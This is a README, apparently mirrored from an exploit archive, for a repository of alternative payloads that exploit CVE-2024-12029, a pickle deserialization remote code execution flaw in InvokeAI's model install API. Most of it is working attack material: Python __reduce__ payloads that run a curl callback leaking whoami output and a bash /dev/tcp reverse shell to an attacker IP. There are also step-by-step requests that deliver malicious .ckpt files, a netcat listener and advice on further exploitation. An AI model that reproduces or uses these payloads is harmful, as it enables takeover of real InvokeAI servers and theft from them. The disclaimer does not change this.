Share 
## https://sploitus.com/exploit?id=6EBE351D-9575-5A82-BAED-B68ED620738B
# Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE
This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.
# Alternative Approach: Reverse Shell & Callback Test

## Overview

This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.

## Problem Statement

When SSH key injection payloads are delivered successfully (Status 201) but SSH access still requires password, it indicates either:
1. Pickle deserialization is not happening
2. Commands are being blocked/sandboxed
3. Execution method is incompatible

## Solution: Alternative Payloads

### ๐Ÿ“ Payload Files

#### **Reverse Shell Payloads**
- `payload_reverse_bash.ckpt` (89 bytes) - Bash reverse shell
- `payload_reverse_python.ckpt` (267 bytes) - Python reverse shell  
- `payload_reverse_nc.ckpt` (70 bytes) - Netcat reverse shell

#### **Test & Verification Payloads**
- `payload_callback_test.ckpt` (115 bytes) - HTTP callback to verify deserialization
- `payload_test.ckpt` (90 bytes) - Simple file creation test
- `payload_alt_exec.ckpt` (223 bytes) - Alternative execution method

#### **SSH Payloads (for reference)**
- `payload_ssh_simple.ckpt` (271 bytes) - Linux-compatible SSH key injection

### ๐Ÿ› ๏ธ Test Scripts

#### **Kali Test Scripts**
- `kali_reverse_test.py` - Comprehensive test suite
- `kali_quick_test.py` - Quick execution test
- `kali_linux_test.py` - Linux-compatible test

#### **Payload Generators**
- `reverse_shell_payload.py` - Generate reverse shell payloads
- `alternative_payload.py` - Alternative execution methods
- `simple_linux_payload.py` - Linux-compatible payloads

#### **Server & Exploit**
- `web_server.py` - Payload hosting server
- `exploit.py` - Full-featured exploit script

## ๐Ÿš€ Quick Usage

### 1. Start Payload Server
```bash
python web_server.py --port 8000
```

### 2. Test Callback (Recommended First)
```bash
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
```

### 3. Test Reverse Shell
```bash
# Start listener on Kali:
nc -lvnp 4444

# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
```

### 4. Test Simple Execution
```bash
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"

# Verify file creation:
ssh root@192.168.117.218 'cat /tmp/payload_test.txt'
```

## ๐Ÿ“Š Test Results Interpretation

### โœ… **Callback Test Success**
- **What it means**: Pickle deserialization is working
- **Next step**: Try reverse shell or alternative SSH payloads
- **Check**: Web server logs for HTTP callback

### โœ… **Reverse Shell Success**  
- **What it means**: Commands execute and network access works
- **Result**: Direct shell access via netcat listener
- **Next step**: Use reverse shell for further exploitation

### โœ… **Test File Created**
- **What it means**: Basic command execution works
- **Next step**: Try alternative SSH injection methods
- **Check**: `/tmp/payload_test.txt` on target

### โŒ **All Tests Fail**
- **What it means**: Pickle deserialization not happening
- **Possible causes**: Target patched, sandboxed, or vulnerability fixed
- **Next step**: Verify target vulnerability and version

## ๐Ÿ”ง Payload Analysis

### **Callback Payload**
```python
class CallbackTestPayload:
    def __reduce__(self):
        import os
        command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
        return (os.system, (command,))
```

### **Reverse Shell Payload**
```python
class ReverseShellPayload:
    def __reduce__(self):
        import os
        command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
        return (os.system, (command,))
```

### **Test Payload**
```python
class TestPayload:
    def __reduce__(self):
        import os
        return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
```

## ๐Ÿ›ก๏ธ Security Considerations

### **For Authorized Testing Only**
- Use only on systems you have permission to test
- Verify target vulnerability before exploitation
- Ensure proper network isolation

### **Payload Safety**
- Payloads use built-in Python modules only
- No external dependencies required
- Cross-platform compatible (Linux target)

## ๐Ÿ“‹ Troubleshooting

### **Common Issues**

1. **Payload Delivery Fails**
   - Check network connectivity
   - Verify web server is running
   - Check target URL and port

2. **Callback Not Received**
   - Check firewall rules
   - Verify web server logs
   - Test with simple HTTP request

3. **Reverse Shell No Connection**
   - Ensure netcat listener is running
   - Check firewall on attacker machine
   - Verify target can reach attacker IP

4. **Test File Not Created**
   - Commands may be sandboxed
   - File permissions issue
   - Try alternative execution methods

### **Debug Commands**
```bash
# Check if InvokeAI is vulnerable
curl http://192.168.117.218:9090/api/v2/models/install

# Check web server logs
tail -f web_server.log

# Test network connectivity
telnet 192.168.117.218 9090
```

## ๐Ÿ“š References

- **CVE-2024-12029**: InvokeAI Remote Code Execution
- **PyTorch Unsafe Deserialization**: `torch.load()` vulnerability
- **Pickle __reduce__**: Python object serialization exploitation

## ๐Ÿค Contributing

For improvements or additional payload variants:
1. Test payloads in isolated environment
2. Verify cross-platform compatibility  
3. Update documentation
4. Submit pull request

## โš ๏ธ Disclaimer

This repository is for educational and authorized security testing purposes only. Users are responsible for ensuring they have proper authorization before testing any systems.